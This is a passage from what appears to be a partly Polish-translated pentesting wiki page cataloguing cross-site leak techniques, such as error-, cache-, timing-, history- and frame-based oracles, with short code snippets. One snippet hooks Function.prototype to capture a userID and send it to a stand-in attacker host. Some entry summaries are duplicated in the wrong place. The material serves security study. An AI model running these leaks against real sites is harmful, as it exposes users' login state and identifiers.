message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
The MediaError interface’s message property uniquely identifies resources that load successfully with a distinct string. An attacker can exploit this feature by observing the message content, thereby deducing the response status of a cross-origin resource.
CORS Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.
- Code Example: https://xsinator.com/testing.html#CORS%20Error%20Leak
Ta technika umożliwia atakującemu wyodrębnienie docelowego adresu przekierowania strony cross-origin poprzez wykorzystanie sposobu, w jaki przeglądarki oparte na WebKit obsługują żądania CORS. Konkretnie, gdy wysyłane jest żądanie CORS-enabled do serwisu, który wykonuje przekierowanie zależne od stanu użytkownika, a przeglądarka następnie odrzuca żądanie, pełny URL docelowy przekierowania jest ujawniany w treści komunikatu błędu. Ta luka nie tylko ujawnia fakt przekierowania, ale również odsłania punkt końcowy przekierowania oraz wszelkie wrażliwe parametry zapytania, które mogą się w nim znajdować.
SRI Error
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.3)
- Summary: In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests.
- Code Example: https://xsinator.com/testing.html#SRI%20Error%20Leak
Atakujący może wykorzystać szczegółowe komunikaty błędów, aby odgadnąć rozmiar odpowiedzi cross-origin. Jest to możliwe dzięki mechanizmowi Subresource Integrity (SRI), który używa atrybutu integrity do walidacji, że pobierane zasoby (często z CDN) nie zostały zmodyfikowane. Aby SRI zadziałało dla zasobów cross-origin, muszą one być CORS-enabled; w przeciwnym razie nie podlegają kontroli integralności. W Security Assertions (SA), podobnie jak w przypadku CORS error XS-Leak, komunikat błędu może zostać przechwycony po nieudanym fetchu z atrybutem integrity. Atakujący może celowo wywołać ten błąd, przypisując fałszywą wartość hasha do atrybutu integrity dowolnego żądania. W SA wynikowy komunikat błędu nieumyślnie ujawnia długość treści żądanego zasobu. Ten wyciek informacji pozwala atakującemu rozróżniać zmiany w rozmiarze odpowiedzi, torując drogę do zaawansowanych ataków XS-Leak.
CSP Violation/Detection
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Summary: Allowing only the victims website in the CSP if we accessed it tries to redirect to a different domain the CSP will trigger a detectable error.
- Code Example: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
XS-Leak może użyć CSP do wykrycia, czy strona cross-origin została przekierowana do innego originu. Ten wyciek może wykryć przekierowanie, a dodatkowo ujawnia domenę docelową przekierowania. Podstawowy pomysł ataku polega na tym, aby pozwolić na docelową domenę na stronie atakującego. Gdy zostanie wysłane żądanie do tej domeny, to ona przekierowuje do domeny cross-origin. CSP blokuje dostęp do niej i tworzy raport o naruszeniu, który może być użyty jako technika leak. W zależności od przeglądarki, raport ten może ujawniać docelową lokalizację przekierowania. Nowoczesne przeglądarki nie wskazują URL-a, na który nastąpiło przekierowanie, ale nadal można wykryć, że przekierowanie cross-origin zostało uruchomione.
Cache
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- Summary: Clear the file from the cache. Opens target page checks if the file is present in the cache.
- Code Example:
Przeglądarki mogą używać wspólnego cache dla wszystkich stron. Niezależnie od originu, możliwe jest wnioskowanie, czy konkretna strona docelowa zażądała konkretnego pliku.
Jeśli strona ładuje obraz tylko gdy użytkownik jest zalogowany, możesz unieważnić (usunąć) zasób z cache (jeśli był tam zapisany, zobacz linki z dodatkowymi informacjami), wykonać żądanie, które mogłoby załadować ten zasób i spróbować załadować ten zasób z błędnym żądaniem (np. używając zbyt długiego nagłówka referer). Jeśli ładowanie zasobu nie wywołało żadnego błędu, oznacza to, że był on pobrany z cache.
CSP Directive
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- Summary: CSP header directives can be probed using the CSP iframe attribute, revealing policy details.
- Code Example: https://xsinator.com/testing.html#CSP%20Directive%20Leak
Nowa funkcja w Google Chrome pozwala stronkom WWW proponować Content Security Policy (CSP) poprzez ustawienie atrybutu na elemencie iframe, przy czym dyrektywy polityki są przesyłane razem z żądaniem HTTP. Normalnie osadzona zawartość musi to autoryzować poprzez nagłówek HTTP, w przeciwnym razie wyświetlana jest strona błędu. Jednak jeśli iframe jest już objęty CSP i proponowana nowa polityka nie jest bardziej restrykcyjna, strona załaduje się normalnie. Mechanizm ten otwiera drogę dla atakującego do wykrywania konkretnych dyrektyw CSP strony cross-origin poprzez identyfikację strony błędu. Chociaż luka została oznaczona jako załatana, nasze ustalenia pokazują nową technikę leak potrafiącą wykryć stronę błędu, co sugeruje, że podstawowy problem nie został w pełni rozwiązany.
CORP
- Inclusion Methods: Fetch API
- Detectable Difference: Header
- More info: https://xsleaks.dev/docs/attacks/browser-features/corp/
- Summary: Resources secured with Cross-Origin Resource Policy (CORP) will throw an error when fetched from a disallowed origin.
- Code Example: https://xsinator.com/testing.html#CORP%20Leak
Nagłówek CORP to stosunkowo nowa funkcja platformy webowej, która blokuje no-cors żądania cross-origin do danego zasobu, gdy zostanie ustawiona. Obecność tego nagłówka można wykryć, ponieważ zasób chroniony przez CORP wyrzuci błąd podczas fetchowania.
CORB
- Inclusion Methods: HTML Elements
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- Summary: CORB can allow attackers to detect when the
nosniffheader is present in the request. - Code Example: https://xsinator.com/testing.html#CORB%20Leak
Sprawdź link dla więcej informacji o ataku.
CORS error on Origin Reflection misconfiguration
- Inclusion Methods: Fetch API
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- Summary: If the Origin header is reflected in the header
Access-Control-Allow-Originit’s possible to check if a resource is in the cache already. - Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
Jeśli nagłówek Origin jest odbijany w nagłówku Access-Control-Allow-Origin, atakujący może nadużyć tego zachowania, próbując pobrać zasób w trybie CORS. Jeśli nie zostanie wywołany błąd, oznacza to, że zasób został poprawnie pobrany z sieci; jeśli natomiast błąd się pojawi, to dlatego, że zasób został odczytany z cache (błąd występuje, ponieważ cache zapisuje odpowiedź z nagłówkiem CORS zezwalającym na pierwotną domenę, a nie domenę atakującego).
Zwróć uwagę, że jeśli origin nie jest odbijany, ale używany jest wildcard (Access-Control-Allow-Origin: *), to ta metoda nie zadziała.
Readable Attributes Technique
Fetch Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Status Code
- More info: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- Summary: GC and SA allow to check the response’s type (opaque-redirect) after the redirect is finished.
- Code Example: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
Wysyłając żądanie przy użyciu Fetch API z redirect: "manual" i innymi parametrami, możliwe jest odczytanie atrybutu response.type i jeśli jest równy opaqueredirect, to odpowiedź była przekierowaniem.
COOP
- Inclusion Methods: Pop-ups
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- Summary: Pages safeguarded by Cross-Origin Opener Policy (COOP) prevent access from cross-origin interactions.
- Code Example: https://xsinator.com/testing.html#COOP%20Leak
Atakujący może wnioskować o obecności nagłówka Cross-Origin Opener Policy (COOP) w odpowiedzi HTTP strony cross-origin. COOP jest używany przez aplikacje webowe, by uniemożliwić zewnętrznym stronom uzyskanie dowolnych referencji do okien. Widoczność tego nagłówka można odkryć, próbując uzyskać dostęp do referencji contentWindow. W scenariuszach, gdzie COOP jest stosowany warunkowo, właściwość opener staje się wskaźnikiem: jest undefined gdy COOP jest aktywny, i defined gdy go nie ma.
URL Max Length - Server Side
- Inclusion Methods: Fetch API, HTML Elements
- Detectable Difference: Status Code / Content
- More info: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- Summary: Detect differences in responses because of the redirect response length migt be too large that the server replays with an error and an alert is generated.
- Code Example: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
Jeśli przekierowanie po stronie serwera używa danych dostarczonych przez użytkownika wewnątrz redirection i dodatkowo dokłada extra dane, możliwe jest wykrycie tego zachowania, ponieważ serwery zwykle mają limit długości żądania. Jeśli dane użytkownika mają długość równą limitowi minus 1, a przekierowanie używa tych danych i dopisuje coś jeszcze, może to wywołać błąd wykrywalny przez Error Events.
Jeśli możesz w jakiś sposób ustawić ciasteczka dla użytkownika, możesz też wykonać ten atak ustawiając wystarczającą liczbę ciasteczek (cookie bomb), tak że zwiększony rozmiar odpowiedzi prawidłowej odpowiedzi spowoduje błąd. W takim przypadku pamiętaj, że jeśli wywołujesz żądanie z tej samej domeny, <script> automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).
Przykład cookie bomb + XS-Search znajdziesz w Intended solution tego writeupu: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
Zwykle wymagane jest SameSite=None lub bycie w tym samym kontekście do przeprowadzenia tego typu ataku.
URL Max Length - Client Side
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code / Content
- More info: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- Summary: Detect differences in responses because of the redirect response length might too large for a request that a difference can be noticed.
- Code Example: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Zgodnie z dokumentacją Chromium, maksymalna długość URL w Chrome to 2MB.
In general, the web platform does not have limits on the length of URLs (although 2^31 is a common limit). Chrome limits URLs to a maximum length of 2MB for practical reasons and to avoid causing denial-of-service problems in inter-process communication.
Dlatego jeśli URL przekierowania jest większy w jednym z przypadków, możliwe jest sprawienie, by przekierował z URL-em większym niż 2MB, aby trafić w limit długości. Gdy to nastąpi, Chrome pokazuje stronę about:blank#blocked.
Różnica, którą można zauważyć, polega na tym, że jeśli przekierowanie zakończyło się pomyślnie, window.origin wyrzuca błąd, ponieważ cross-origin nie może uzyskać tej informacji. Jednak jeśli limit został osiągnięty i załadowana strona to about:blank#blocked, pochodzenie okna (origin) pozostaje takie jak rodzica, co jest informacją dostępną.
Cały dodatkowy content potrzebny, by osiągnąć 2MB, można dodać przez hash w początkowym URL, tak aby został on użyty w przekierowaniu.
Max Redirects
- Inclusion Methods: Fetch API, Frames
- Detectable Difference: Status Code
- More info: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- Summary: User the browser’s redirect limit to ascertain the occurrence of URL redirections.
- Code Example: https://xsinator.com/testing.html#Max%20Redirect%20Leak
Jeśli maksymalna liczba przekierowań, które przeglądarka podąża, wynosi 20, atakujący może spróbować załadować swoją stronę z 19 przekierowaniami i w końcu wysłać ofiarę do testowanej strony. Jeśli pojawi się błąd, oznacza to, że strona próbowała przekierować ofiarę.
History Length
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Redirects
- More info: https://xsleaks.dev/docs/attacks/navigations/
- Summary: JavaScript code manipulates the browser history and can be accessed by the length property.
- Code Example: https://xsinator.com/testing.html#History%20Length%20Leak
API History pozwala kodowi JavaScript manipulować historią przeglądarki, która zapisuje strony odwiedzane przez użytkownika. Atakujący może użyć właściwości length jako metody włączenia: do wykrywania nawigacji JavaScript i HTML.
Sprawdzanie history.length, nakłonienie użytkownika do przejścia na stronę, cofnięcie go do tego samego originu i sprawdzenie nowej wartości history.length.
History Length with same URL
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: If URL is the same as the guessed one
- Summary: It’s possible to guess if the location of a frame/popup is in an specific URL abusing the history length.
- Code Example: Below
Atakujący może użyć kodu JavaScript, aby ustawić lokalizację frame/pop-up na zgadywany URL i natychmiast zmienić ją na about:blank. Jeśli długość historii wzrosła, oznacza to, że URL był poprawny i miał czas na zwiększenie, ponieważ URL nie jest przeładowywany, jeśli jest taki sam. Jeśli nie wzrosła, oznacza to, że próbował załadować zgadywany URL, ale ponieważ natychmiast potem załadowano about:blank, długość historii nigdy nie wzrosła przy ładowaniu zgadywanego URL.
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))
win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
Frame Counting
- Metody osadzania: Frames, Pop-ups
- Wykrywana różnica: Page Content
- Więcej informacji: https://xsleaks.dev/docs/attacks/frame-counting/
- Podsumowanie: Ocenianie ilości elementów iframe poprzez sprawdzenie właściwości
window.length. - Przykład kodu: https://xsinator.com/testing.html#Frame%20Count%20Leak
Zliczanie liczby frame’ów na stronie otwieranej przez iframe lub window.open może pomóc zidentyfikować stan użytkownika względem tej strony.
Dodatkowo, jeśli strona ma zawsze tę samą liczbę frame’ów, ciągłe sprawdzanie tej liczby może ujawnić wzorzec, który może spowodować wyciek informacji.
Przykładem tej techniki jest to, że w Chrome PDF można wykryć przez frame counting, ponieważ wewnętrznie używane jest embed. Istnieją Open URL Parameters, które pozwalają częściowo kontrolować zawartość, takie jak zoom, view, page, toolbar, gdzie ta technika może być użyteczna.
HTMLElements
- Metody osadzania: HTML Elements
- Wykrywana różnica: Page Content
- Więcej informacji: https://xsleaks.dev/docs/attacks/element-leaks/
- Podsumowanie: Odczytaj wyciekniętą wartość, aby rozróżnić pomiędzy dwoma możliwymi stanami
- Przykład kodu: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
Wyciek informacji przez elementy HTML stanowi problem w bezpieczeństwie webowym, szczególnie gdy pliki multimedialne są generowane dynamicznie na podstawie danych użytkownika, lub gdy dodawane są watermarki zmieniające rozmiar mediów. Atakujący mogą wykorzystać to do rozróżnienia pomiędzy możliwymi stanami, analizując informacje ujawnione przez niektóre elementy HTML.
Information Exposed by HTML Elements
- HTMLMediaElement: Ten element ujawnia
durationi czasybufferedmediów, które są dostępne przez jego API. Read more about HTMLMediaElement - HTMLVideoElement: Ujawnia
videoHeightivideoWidth. W niektórych przeglądarkach dostępne są dodatkowe właściwości, takie jakwebkitVideoDecodedByteCount,webkitAudioDecodedByteCountorazwebkitDecodedFrameCount, dające bardziej szczegółowe informacje o zawartości wideo. Read more about HTMLVideoElement - getVideoPlaybackQuality(): Funkcja ta dostarcza szczegóły jakości odtwarzania wideo, w tym
totalVideoFrames, co może wskazywać ilość przetworzonych klatek wideo. Read more about getVideoPlaybackQuality() - HTMLImageElement: Ten element ujawnia
heightiwidthobrazu. Jednak jeśli obraz jest nieprawidłowy, właściwości te zwrócą 0, aimage.decode()zostanie odrzucone, co wskazuje na niepowodzenie w załadowaniu obrazu. Read more about HTMLImageElement
CSS Property
- Metody osadzania: HTML Elements
- Wykrywana różnica: Page Content
- Więcej informacji: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- Podsumowanie: Identyfikowanie zmian w stylach strony, które korelują ze stanem lub sytuacją użytkownika.
- Przykład kodu: https://xsinator.com/testing.html#CSS%20Property%20Leak
Aplikacje webowe mogą zmieniać styl strony w zależności od statusu użytkownika. Cross-origin pliki CSS można osadzić na stronie atakującego za pomocą elementu HTML link, a reguły zostaną zastosowane na stronie atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może wykryć te różnice w zależności od stanu użytkownika.
Jako technikę leakowania, atakujący może użyć metody window.getComputedStyle do odczytu właściwości CSS konkretnego elementu HTML. W rezultacie, jeśli znany jest dotknięty element i nazwa właściwości, atakujący może odczytać arbitralne właściwości CSS.
CSS History
- Metody osadzania: HTML Elements
- Wykrywana różnica: Page Content
- Więcej informacji: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- Podsumowanie: Wykrycie, czy do URL zastosowano styl
:visited, co wskazuje, że został już odwiedzony - Przykład kodu: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
Tip
Według this, to nie działa w headless Chrome.
Selektor CSS :visited jest wykorzystywany do stylowania URL-i inaczej, jeśli użytkownik odwiedził je wcześniej. W przeszłości metoda getComputedStyle() mogła być użyta do wykrycia tych różnic stylów. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa zapobiegające ujawnianiu stanu linku przez tę metodę. Środki te obejmują zawsze zwracanie obliczonego stylu tak, jakby link był odwiedzony, oraz ograniczenie styli, które można zastosować za pomocą selektora :visited.
Mimo tych ograniczeń, możliwe jest pośrednie rozróżnienie stanu odwiedzenia linku. Jedna z technik polega na skłonieniu użytkownika do interakcji z obszarem objętym CSS, konkretnie wykorzystując mix-blend-mode. Ta właściwość pozwala na mieszanie elementów z ich tłem, co może ujawnić stan odwiedzenia w wyniku interakcji użytkownika.
Ponadto wykrycie można osiągnąć bez interakcji użytkownika poprzez wykorzystanie różnic w czasie renderowania linków. Przeglądarki mogą renderować odwiedzone i nieodwiedzone linki inaczej, co może wprowadzać mierzalną różnicę czasową w renderowaniu. Dowód koncepcji (PoC) został wspomniany w zgłoszeniu do Chromium, demonstrując tę technikę przy użyciu wielu linków w celu wzmocnienia różnicy czasowej, co pozwala na wykrycie stanu odwiedzenia przez analizę timingową.
Dla dalszych informacji o tych właściwościach i metodach, odwiedź ich strony dokumentacji:
:visited: MDN DocumentationgetComputedStyle(): MDN Documentationmix-blend-mode: MDN Documentation
ContentDocument X-Frame Leak
- Metody osadzania: Frames
- Wykrywana różnica: Headers
- Więcej informacji: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- Podsumowanie: W Google Chrome wyświetlana jest dedykowana strona błędu, gdy strona jest zablokowana przed osadzeniem na stronie cross-origin z powodu restrykcji X-Frame-Options.
- Przykład kodu: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
W Chrome, jeśli strona z nagłówkiem X-Frame-Options ustawionym na “deny” lub “same-origin” jest osadzana jako object, pojawia się strona błędu. Chrome wyjątkowo zwraca pusty obiekt dokumentu (zamiast null) dla właściwości contentDocument tego objecta, w odróżnieniu od iframe’ów lub innych przeglądarek. Atakujący mogli by to wykorzystać, wykrywając pusty dokument, co potencjalnie ujawnia informacje o stanie użytkownika, zwłaszcza jeśli deweloperzy niespójnie ustawiają nagłówek X-Frame-Options, często pomijając strony błędów. Świadomość i konsekwentne stosowanie nagłówków bezpieczeństwa są kluczowe, by zapobiegać takim leakom.
Download Detection
- Metody osadzania: Frames, Pop-ups
- Wykrywana różnica: Headers
- Więcej informacji: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- Podsumowanie: Atakujący może rozpoznać pobieranie plików wykorzystując iframy; ciągła dostępność iframe po wywołaniu sugeruje, że plik został pobrany.
- Przykład kodu: https://xsleaks.dev/docs/attacks/navigations/#download-bar
Nagłówek Content-Disposition, konkretnie Content-Disposition: attachment, instruuje przeglądarkę, aby pobrać zawartość zamiast wyświetlać ją inline. To zachowanie można wykorzystać do wykrycia, czy użytkownik ma dostęp do strony wywołującej pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik wykrywania tego zachowania:
- Monitorowanie download bar:
- Gdy plik jest pobierany w przeglądarce Chromium, pojawia się pasek pobierania na dole okna przeglądarki.
- Monitorując zmiany wysokości okna, atakujący mogą wnioskować o pojawieniu się paska pobierania, co sugeruje, że pobieranie zostało zainicjowane.
- Download Navigation z użyciem iframe:
- Gdy strona wywołuje pobieranie pliku przy użyciu nagłówka
Content-Disposition: attachment, nie powoduje to zdarzenia nawigacji. - Ładując zawartość w iframe i monitorując zdarzenia nawigacji, można sprawdzić, czy disposition spowodowało pobranie pliku (brak nawigacji) czy nie.
- Download Navigation bez iframe:
- Podobnie jak technika z iframe, metoda ta polega na użyciu
window.openzamiast iframe. - Monitorując zdarzenia nawigacji w nowo otwartym oknie, można wykryć, czy pobranie pliku zostało wywołane (brak nawigacji) czy treść jest wyświetlana inline (następuje nawigacja).
W scenariuszach, gdzie tylko zalogowani użytkownicy mogą wywołać takie pobrania, te techniki mogą być użyte do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.
Partitioned HTTP Cache Bypass
- Metody osadzania: Pop-ups
- Wykrywana różnica: Timing
- Więcej informacji: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- Podsumowanie: Atakujący może rozpoznać pobieranie plików wykorzystując iframy; ciągła dostępność iframe po wywołaniu sugeruje, że plik został pobrany.
- Przykład kodu: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
Warning
This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is:
(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be:(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)
Jeśli strona example.com osadza zasób z *.example.com/resource, to ten zasób będzie miał ten sam klucz cache jak gdyby zasób był zażądany przez top-level navigation. Dzieje się tak, ponieważ klucz cache składa się z top-level eTLD+1 i frame eTLD+1.
Ponieważ dostęp do cache jest szybszy niż ładowanie zasobu, możliwe jest próbowanie zmiany lokalizacji strony i anulowania jej po np. 20ms. Jeśli origin zmienił się po zatrzymaniu, oznacza to, że zasób był w cache.
Można też po prostu wysłać fetch do potencjalnie zcache’owanej strony i zmierzyć czas, jaki to zajmie.
Manual Redirect
- Metody osadzania: Fetch API
- Wykrywana różnica: Redirects
- Więcej informacji: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- Podsumowanie: Można ustalić, czy odpowiedź na żądanie fetch jest przekierowaniem
- Przykład kodu:
.png)
Fetch with AbortController
- Metody osadzania: Fetch API
- Wykrywana różnica: Timing
- Więcej informacji: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- Podsumowanie: Można spróbować załadować zasób i przerwać ładowanie przed jego zakończeniem. W zależności od tego, czy wywołany zostanie błąd, zasób był lub nie był zcache’owany.
- Przykład kodu: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
Użyj fetch i setTimeout z AbortController, aby zarówno wykryć, czy zasób jest w cache, jak i aby wyrzucić konkretny zasób z cache przeglądarki. Ponadto proces ten przebiega bez cache’owania nowych treści.
Script Pollution
- Metody osadzania: HTML Elements (script)
- Wykrywana różnica: Page Content
- Więcej informacji: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- Podsumowanie: Możliwe jest nadpisanie wbudowanych funkcji i odczytanie ich argumentów, co nawet z cross-origin script (których nie można odczytać bezpośrednio) może ujawnić cenne informacje.
- Przykład kodu: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Prototype hooks to exfiltrate module-scoped data
Pre-define Function.prototype.default and Function.prototype.__esModule = 1 before loading a module so its default export calls your hook (e.g., receives {userID: ...}), letting you read module-scoped values without timing or brute force.
<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>
Samo żądanie staje się również oraklem stanu logowania, jeśli skrypt ładuje się tylko dla uwierzytelnionych użytkowników.
Service Workers
- Inclusion Methods: Wyskakujące okienka
- Detectable Difference: Zawartość strony
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Summary: Mierz czas wykonania strony internetowej za pomocą service workers.
- Code Example:
W opisanym scenariuszu atakujący inicjuje rejestrację service worker na jednej ze swoich domen, konkretnie “attacker.com”. Następnie atakujący otwiera nowe okno na docelowej witrynie z dokumentu głównego i poleca service worker rozpocząć mierzenie czasu. Gdy nowe okno zaczyna się ładować, atakujący przekierowuje odwołanie uzyskane w poprzednim kroku na stronę obsługiwaną przez service worker.
Po nadejściu żądania zainicjowanego w poprzednim kroku, service worker odpowiada kodem statusu 204 (No Content), skutecznie przerywając proces nawigacji. W tym momencie service worker rejestruje pomiar z timera uruchomionego wcześniej w kroku drugim. Ten pomiar jest zależny od czasu wykonywania JavaScript powodującego opóźnienia w procesie nawigacji.
Warning
W ataku opartym na czasie wykonania można wyeliminować czynniki sieciowe, aby uzyskać dokładniejsze pomiary. Na przykład, poprzez wcześniejsze załadowanie zasobów używanych przez stronę przed jej otwarciem.
Fetch Timing
- Inclusion Methods: Fetch API
- Detectable Difference: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Summary: Użyj performance.now() do zmierzenia czasu wykonania żądania. Można użyć także innych zegarów.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Cross-Window Timing
- Inclusion Methods: Wyskakujące okienka
- Detectable Difference: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Summary: Użyj performance.now() do zmierzenia czasu wykonania żądania przy użyciu
window.open. Można użyć także innych zegarów. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Subdomain probing for identity/login state
- Inclusion Methods: HTML Elements (script), Frames
- Detectable Difference: powodzenie ładowania DNS/HTTP, zmiany CORB/nagłówków
- Summary: Jeśli identyfikatory znajdują się w etykietach subdomen (np.
www.<username>.sb.facebook.com), żądaj zasobów z kandydackich hostów i traktujonloadvsonerror/timeouts jako Boolean. Połącz to ze skryptami dostępnymi tylko po zalogowaniu (np./signals/iwl.js), aby bruteforcować nazwy użytkowników i weryfikować autoryzację do powiązanych zasobów. - Note: Sygnały można wzmocnić przez użycie różnych typów włączenia (
script,iframe,object), aby wykryćX-Frame-Options,CORBlub różnice w przekierowaniach dla danego kandydata.
With HTML or Re Injection
Tu znajdziesz techniki eksfiltrowania informacji z cross-origin HTML polegające na wstrzykiwaniu zawartości HTML. Techniki te są interesujące w przypadkach, gdy z jakiegokolwiek powodu możesz wstrzykiwać HTML, ale nie możesz wstrzykiwać kodu JS.
Dangling Markup
Dangling Markup - HTML scriptless injection
Image Lazy Loading
Jeśli potrzebujesz eksfiltrować zawartość i możesz dodać HTML przed tajemnicą, powinieneś sprawdzić common dangling markup techniques.
Jeśli jednak z jakiegokolwiek powodu MUSISZ to robić znak po znaku (może komunikacja odbywa się poprzez trafienie w cache), możesz użyć tego triku.
Images w HTML mają atrybut “loading”, którego wartością może być “lazy”. W takim przypadku obraz zostanie załadowany, gdy zostanie wyświetlony, a nie podczas ładowania strony:
<img src=/something loading=lazy >
Możesz więc dodać dużą ilość zbędnych znaków (na przykład tysiące “W”) aby wypełnić stronę przed sekretem lub dodać coś takiego <br><canvas height="1850px"></canvas><br>.
Następnie, jeśli na przykład nasza injection pojawi się przed flag, image zostanie załadowane, ale jeśli pojawi się po flag, flag + śmieci zapobiegną jego załadowaniu (będziesz musiał poeksperymentować ile śmieci dodać). To właśnie wydarzyło się w this writeup.
Another option would be to use the scroll-to-text-fragment if allowed:
Scroll-to-text-fragment
Jednak sprawiasz, że bot access the page with something like
#:~:text=SECR
Strona będzie wyglądać mniej więcej tak: https://victim.com/post.html#:~:text=SECR
Gdzie post.html zawiera złośliwe śmieciowe znaki atakującego oraz leniwie ładowany obraz, a następnie dodawany jest sekret bota.
Tekst ten spowoduje, że bot uzyska dostęp do dowolnego tekstu na stronie, który zawiera tekst SECR. Ponieważ ten tekst jest sekretem i znajduje się tuż pod obrazem, obraz załaduje się tylko wtedy, gdy odgadnięty sekret będzie poprawny. Masz więc swój oracle, aby exfiltrate the secret char by char.
Przykład kodu do wykorzystania tego: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Image Lazy Loading Time Based
If it’s not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn’t loaded. This is what was used in the solution of this writeup podsumowane tutaj:
Event Loop Blocking + Lazy images
ReDoS
Regular expression Denial of Service - ReDoS
CSS ReDoS
Jeśli użyto jQuery(location.hash), można dowiedzieć się na podstawie czasu, czy istnieje jakaś zawartość HTML, ponieważ jeśli selektor main[id='site-main'] nie pasuje, nie trzeba sprawdzać reszty selektorów:
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)
CSS Injection
Zabezpieczenia
